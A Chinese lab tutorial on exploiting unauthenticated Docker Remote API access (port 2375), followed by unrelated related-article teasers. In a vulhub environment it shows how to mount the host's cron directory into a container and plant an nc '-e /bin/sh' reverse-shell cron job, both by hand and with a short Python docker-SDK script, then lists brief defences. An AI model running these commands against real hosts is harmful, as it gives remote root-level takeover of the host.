未授权访问:Docker未授权访问漏洞

目录

1、漏洞原理

2、环境搭建

3、未授权访问

4、通过crontab反弹宿主机shell

防御手段


今天继续学习各种未授权访问的知识和相关的实操实验,一共有好多篇,内容主要是参考先知社区的一位大佬的关于未授权访问的好文章,还有其他大佬总结好的文章:

这里附上大佬的好文章链接:常见未授权访问漏洞总结 - 先知社区

我在这只是学习大佬总结好的相关的知识和实操实验,那么废话不多说,开整。

第六篇是关于Docker的未授权访问

1、漏洞原理

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。

开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。

存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

2、环境搭建

# 下载环境
mkdir docker
cd docker 
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
​
#或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
DownGit网址:https://minhaskamal.github.io/DownGit/#/home

 下载漏洞环境:

chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境

 注:我的拉取环境好慢哟

但是最终还是拉取成功了

3、未授权访问

docker -H tcp://192.168.15.5:2375 version

可以看到成功的未授权访问到了版本信息

4、通过crontab反弹宿主机shell

下列操作均在攻击机上进行的操作:

vps监听9999端口

nc -lvnp 9999

启动容器 

docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps

 进入容器

docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh 

添加任务计划

echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
​
cat /tmp/root # 查看/tmp/root 文件
​
exit #退出容器

反弹宿主机shell

 

可以看到攻击机(192.168,159.200)成功的反弹了ubuntu主机(192.168.159.202)的shell

也可以直接利用python脚本

import docker
​
client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

防御手段

  • -简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。
  • -修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

到此,docker未授权访问最基础的知识也就学习完了,后面还有很对未授权的知识等着我去学习,下次见(*^▽^*)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/11876.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LabVIEW

LabVIEW(Laboratory Virtual Instrument Engineering Workbench)是由美国国家仪器(National Instruments,简称NI)公司开发的一种程序开发环境,它主要用于数据采集、仪器控制、测试和测量等应用。LabVIEW的最…

中文环境下编写sql server存储过程用中文命名的好处

在中文环境下编写SQL Server存储过程用中文命名的好处 随着信息技术的发展和编程语言对多语言字符集的支持增强,越来越多的开发者在中文环境下编写SQL Server存储过程时,开始使用中文命名。本文将讨论在这种情况下使用中文命名的诸多好处。 1. 提高可读…

万字长文带你掌握 IDEA 2024 的30个Debug调试绝技,让你开发与修复 Bug 的效率提升亿倍

万字长文带你掌握 IDEA 2024 的30个Debug调试绝技,让你开发与修复 Bug 的效率提升亿倍 博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能! 专栏链接: 🔗 精选专栏: 《面试题大全》 — …

QCC---Aptx Lossless验证

因为aptx Lossless属于高通骁龙声音的一部分,一般支持高通骁龙声音的设备会支持到,比如说手机,而且还要支持最新的aptx adaptive协议R2.2版本。但是如果手上没有这样的手机的话,有source芯片也可以去做测试验证。在最新的784.1版本…

Dockfile和YAML文件的区别

Dockerfile和YAML文件是两种不同格式的配置文件,它们在Docker生态系统中扮演不同的角色: Dockerfile:这是一个文本文件,用于通过一系列的指令定义一个Docker镜像的内容和构建过程。Dockerfile中的每一行通常对应一个Docker镜像层&…

入职Java,不会git被开除了。。。

入职Java,不会git被开除了。。。 文章目录 入职Java,不会git被开除了。。。前言一、Git是什么?二、Git的核心概念三、Git的工作流程四、Git的常用命令五、总结 🌈你好呀!我是 山顶风景独好 💝欢迎来到我的博…

钽酸锂集成光子芯片:引领光电集成新纪元

在信息技术飞速发展的今天,光电集成技术已成为推动全球集成电路产业持续创新的重要力量。随着全球集成电路产业发展步入“后摩尔时代”,芯片性能提升的难度和成本不断攀升,业界急需寻找新的技术突破口。在这一背景下,中国科学院上…

stream 排序

stream常用写法 // 实体类 public static class User {private String id;private String name;private String value;private String year; }1.List转Map List<User> list = userMapper.selectAll(param); List 转 MapMap<String, String> idMap = list.stream(…

微软发布研究报告:75%的知识工作者在工作中使用AI

“人工智能正在使整个劳动力的专业知识民主化&#xff0c;我们的最新研究强调了每个组织都有机会应用这项技术来推动更好的决策、协作&#xff0c;并最终实现业务成果。” ——Microsoft董事长兼首席执行官萨蒂亚纳德拉&#xff08;Satya Nadella&#xff09; 一年前&#xff0…

pycharm连接远程服务器,解决终端出现乱码问题

在终端输入命令时会有乱码问题&#xff0c;是字体编码设置错误。 根据上述步骤&#xff0c;设置完成后重启就可以了。

重生之霸总的项目管理之道

在都市的摩天大楼之间&#xff0c;顾辰&#xff0c;这位被人们称为“霸总”的项目经理&#xff0c;以他独特的魅力和高效的项目管理方式&#xff0c;成为了行业内的传奇人物。他并非传统意义上的冷酷霸总&#xff0c;而是一个懂得运用现代项目管理工具&#xff0c;带领团队一次…

【Golang】在 Go 语言中使用 Otto 执行 JavaScript 代码

文章目录 前言一、Otto 解释二、代码实现四、总结 前言 在很多应用场景下&#xff0c;我们可能需要在 Go 语言中执行 JavaScript 代码&#xff0c;例如在服务器端运行一些客户端的脚本&#xff0c;或者执行一些动态生成的脚本。Otto 是一个由 Go 语言编写的 JavaScript 解释器…

MySQL基础指南:从入门到精通

MySQL基础指南&#xff1a;从入门到精通 MySQL是一个流行的开源关系型数据库管理系统&#xff0c;被广泛用于Web应用程序和服务器端开发。本文将从MySQL的基本概念开始&#xff0c;逐步介绍MySQL的安装、常用操作、数据类型、查询语句等内容&#xff0c;帮助你快速入门MySQL数…

地下车库导航地图怎么做?停车场地图绘制软件哪个好?

上海懒图科技以先进技术和丰富的行业服务经验为用户提供停车场景下的全流程服务平台&#xff0c;用户基于平台可自主快速绘制酷炫的停车场地图&#xff0c;通过提供完善的停车场应用功能集和扩展API服务包&#xff0c;可以方便地实现电子地图服务于您的各类停车场应用中&#x…

利用香港多IP服务器进行大数据分析的潜在优势?

利用香港多IP服务器进行大数据分析的潜在优势? 在当今数据驱动的时代&#xff0c;大数据分析已经成为企业获取竞争优势的不二选择。而香港作为一个拥有世界级通信基础设施的城市&#xff0c;提供了理想的环境来部署多IP服务器&#xff0c;从而为大数据分析提供了独特的优势。…

答辩PPT快速生成工具有哪些?笔灵AI答辩PPT,一键搞定

很多快要毕业的同学在做答辩PPT的时候总是感觉毫无思路&#xff0c;一窍不通。但这并不是你们的错&#xff0c;对于平时没接触过相关方面&#xff0c;第一次搞答辩PPT的人来说&#xff0c;这是很正常的一件事。一个好的答辩PPT可以根据以下分为以下几部分来写。 1.研究的背景和…

python 基础(笔记)

文章目录 1. 环境安装2. 第一个程序 hello word3. 注释4. 变量4.1 变量声明4.2 命名规则4.3 命名规范 5. 运算符5.1 算术运算符5.2 赋值运算符5.3 比较运算符 6. 数据类型6.1 数据类型6.2 数据类型的转换 7. 字符串操作7.1 字符串定义的几种方式7.2 字符串拼接7.3 字符串格式化…

CentOS-Stream-9配置chfs

在/chfs目录下运行&#xff0c;下载出错&#xff0c;所以换个目录&#xff0c;例如/cute。 mkdir /cute cd /cute wget http://iscute.cn/tar/chfs/3.1/chfs-linux-386-3.1.zip unzip chfs-linux-386-3.1.zip firewall-cmd --add-servicehttp --permanent firewall-cmd --reloa…

蓝桥杯国赛每日一题:地牢大师(BFS)

题目描述&#xff1a; 你现在被困在一个三维地牢中&#xff0c;需要找到最快脱离的出路&#xff01; 地牢由若干个单位立方体组成&#xff0c;其中部分不含岩石障碍可以直接通过&#xff0c;部分包含岩石障碍无法通过。 向北&#xff0c;向南&#xff0c;向东&#xff0c;向…

RS485空调系统到BACnet江森楼宇系统的高效整合攻略

智慧城市的每一栋建筑都在追求更高的能效与更佳的居住体验&#xff0c;而这一切的实现离不开强大且灵活的楼宇自动化系统。其中&#xff0c;协议转换网关作为连接不同设备的纽带&#xff0c;扮演着至关重要的角色。本文将以一个典型的商业综合体为例&#xff0c;揭秘BACnet协议…